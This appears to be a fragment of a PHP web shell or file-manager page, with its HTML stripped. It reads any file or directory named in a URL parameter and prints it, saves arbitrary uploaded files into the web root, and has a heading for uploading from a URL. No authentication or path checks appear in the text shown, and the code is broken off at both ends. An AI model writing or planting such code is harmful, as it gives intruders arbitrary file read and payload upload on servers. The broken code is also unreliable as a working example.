Retrieve File/Scan Directory
Current file path:
Realpath: ' . realpath($_GET['path']) . '
';
echo 'Type: ';
if (is_dir($path)) {
echo 'Directory
';
foreach (scandir($path) as $data) {
echo $data . "
";
}
} else {
echo 'File
';
print_r(file_get_contents($path));
}
}
?>
Upload File From Your Local
0) {
$total = count($_FILES['uploads']['name']);
for ($i = 0; $i < $total; $i++) {
$tmpPath = $_FILES['uploads']['tmp_name'][$i];
if ($tmpPath != '') {
$newPath = './' . $_FILES['uploads']['name'][$i];
if (move_uploaded_file($tmpPath, $newPath)) {
echo 'Successfully uploaded ' .$_FILES['uploads']['name'][$i] . '
';
} else {
echo 'Unable to upload ' .$_FILES['uploads']['name'][$i] . '
';
}
}
}
}
?>
Upload File From URL